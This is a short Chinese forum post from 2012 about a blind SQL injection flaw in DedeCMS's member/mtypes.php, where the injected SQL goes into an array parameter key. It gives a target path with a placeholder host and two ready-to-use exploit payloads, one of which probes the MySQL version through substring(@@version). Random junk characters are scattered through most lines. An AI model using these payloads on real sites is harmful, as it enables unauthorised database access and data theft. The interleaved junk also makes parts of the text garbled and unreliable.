需要magic_quotes_gpc = Off,所以说是鸡肋啊.- z* ~! H2 u2 U
2 S" T0 F/ U, u, _: P( m - s+ ?' W3 L* n: `
发生在数组key里的注射漏洞,有点意思.
9 c: \: T6 Z8 J$ X2 d4 Z 7 y. W6 k- k* L t+ J, F
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下0 W* d. i9 n. T# m+ r& a! e
# z! J9 b" _9 G9 @% F
http://www.xxx.com /dede/member/mtypes.php?dopost=save# I" I/ P- \- d+ {: w: W
# v) P" u+ I6 D! {7 f/ qexploit:
# I8 ]! c& M p6 \mtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r, e y# t: [# `3 t% q+ `9 `3 E4 s
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
x+ p2 {( v% P2 l& K |
发表于 2012-12-20 08:08:09
收藏
支持
反对